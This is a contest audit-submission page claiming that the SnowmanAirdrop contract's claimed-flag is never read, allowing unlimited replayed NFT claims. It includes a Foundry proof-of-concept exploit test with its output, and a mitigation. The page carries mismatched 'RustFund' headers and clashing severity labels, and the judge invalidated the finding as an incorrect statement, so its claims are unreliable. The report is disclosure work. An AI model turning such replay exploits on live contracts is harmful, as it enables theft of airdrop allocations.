Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

RustFund Security Audit Report

Severity: High · Likelihood: High
Scope: src/SnowmanAirdrop.sol
Contest: CodeHawks First Flight — Snowman Merkle Airdrop

Submitted as: s_hasClaimedSnowman is written but never read, letting a whitelisted address replay the identical proof and signature for unlimited NFTs


The claimed-flag in SnowmanAirdrop is never checked, so claimSnowman can be replayed indefinitely with the byte-identical Merkle proof and signature

Description

  • Each address in the Merkle tree is entitled to claim exactly once. SnowmanAirdrop maintains s_hasClaimedSnowman for precisely this purpose and even exposes it through the getClaimStatus getter, so a second claim by the same address is meant to revert.

  • The mapping is written at the end of claimSnowman but is never read anywhere in the claim path. Nothing enforces the one-claim-per-address rule, so the same address can claim as many times as it can restore its Snow balance to the amount the Merkle tree committed to — resubmitting the same proof and the same signature unchanged.

// src/SnowmanAirdrop.sol:69-99
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) { revert SA__ZeroAddress(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
// @> MISSING: if (s_hasClaimedSnowman[receiver]) { revert SA__AlreadyClaimed(); }
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) { revert SA__InvalidSignature(); }
@> uint256 amount = i_snow.balanceOf(receiver); // @> claim datum read from LIVE, mutable state
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); }
i_snow.safeTransferFrom(receiver, address(this), amount);
@> s_hasClaimedSnowman[receiver] = true; // @> written here, and read NOWHERE in the claim path
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

The only thing that accidentally blocks an immediate second claim is that safeTransferFrom drained the balance, so the SA__ZeroAmount check trips. That is not a guard — Snow is a plain ERC20 with no transfer restrictions, so anyone can push the balance back to the committed amount and the claim becomes valid again.

The replay works with the original signature because the signed struct carries no nonce and no deadline, and the digest is derived from the same live balance:

// src/SnowmanAirdrop.sol:36-39, 112-122
struct SnowmanClaim {
address receiver;
@> uint256 amount; // @> no nonce, no deadline - nothing makes a signature single-use
}
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
@> uint256 amount = i_snow.balanceOf(receiver); // @> same live read, so the digest is reproducible
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Risk

Likelihood:

  • Every whitelisted address can do this, using only the proof and signature it already needs for its legitimate first claim. No special tooling, no race, no privileged position.

  • Restoring the balance is free and requires no cooperation from anyone: a throwaway address farms 1 wei through Snow::earnSnow and transfers it over. Snow has no transfer restrictions, so any holder can also simply gift the wei.

  • The replay uses the exact same (merkleProof, v, r, s) bytes each round, so the attacker performs no cryptographic work after the first claim.

Impact:

  • The airdrop's allocation invariant is broken: a whitelist entry granting one NFT grants as many as the holder cares to farm for, and a single address can absorb the entire distribution.

  • A signature the user believes is spent is never invalidated. Because claimSnowman is permissionless and users must grant the airdrop an ERC20 allowance, a third party can replay an old signature to pull the victim's re-acquired Snow into the airdrop without fresh consent. This is bounded — the victim does receive NFTs in exchange, so it is a forced-but-compensated stake rather than theft — but the victim's only defence is manually revoking an allowance the protocol never tells them to revoke.

  • Honest bound on absolute numbers, stated so the severity is not overread: free Snow issuance is throttled to 1 wei per week protocol-wide (s_earnTimer in Snow.sol:30 is a single global slot) and the paid path costs 5 ETH per wei, so circulating Snow is tiny and the raw NFT count an attacker accumulates is small. The defect is the broken invariant, not a headline count.

Proof of Concept

Alice is whitelisted for one NFT and ends up with six, at zero cost, using byte-identical proof and signature every round. Save as test/PoCH02.t.sol and run forge test --match-test test_H02 -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
contract PoCH02 is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
// alice's proof, lifted verbatim from the project's own TestSnowmanAirdrop.t.sol
bytes32[] AL_PROOF = [
bytes32(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52),
bytes32(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af),
bytes32(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1)
];
address alice;
uint256 alKey;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
}
function test_H02_RepeatClaimWithIdenticalProofAndSignature() public {
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice), "flag IS set...");
// ...and the flag is never checked. Restoring the balance costs NOTHING:
// a throwaway address farms 1 wei for free and gifts it back.
address farmer = makeAddr("farmer");
for (uint256 i = 0; i < 5; i++) {
vm.warp(block.timestamp + 1 weeks);
vm.prank(farmer);
snow.earnSnow(); // free
vm.prank(farmer);
snow.transfer(alice, 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(alice); // byte-identical proof + signature, every time
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
}
assertEq(nft.balanceOf(alice), 6, "claimed 6x while whitelisted once");
assertEq(alice.balance, 0, "at zero cost");
}
}

Result:

[PASS] test_H02_RepeatClaimWithIdenticalProofAndSignature() (gas: 828974)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Read the flag before doing any work, and make the signature single-use by adding a nonce and a deadline to the signed struct.

+ error SA__AlreadyClaimed();
+
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
- bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 private constant MESSAGE_TYPEHASH =
+ keccak256("SnowmanClaim(address receiver,uint256 amount,uint256 nonce,uint256 deadline)");
+ mapping(address => uint256) private s_nonces;

Disclosure of overlap

Snowman::mintSnowman is itself unguarded (reported separately), so an attacker who only wants NFTs does not need this bug. The two are independent root causes in different contracts with different fixes: gating the mint would leave the airdrop's own one-claim-per-address invariant broken, and fixing this one would leave the mint open.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!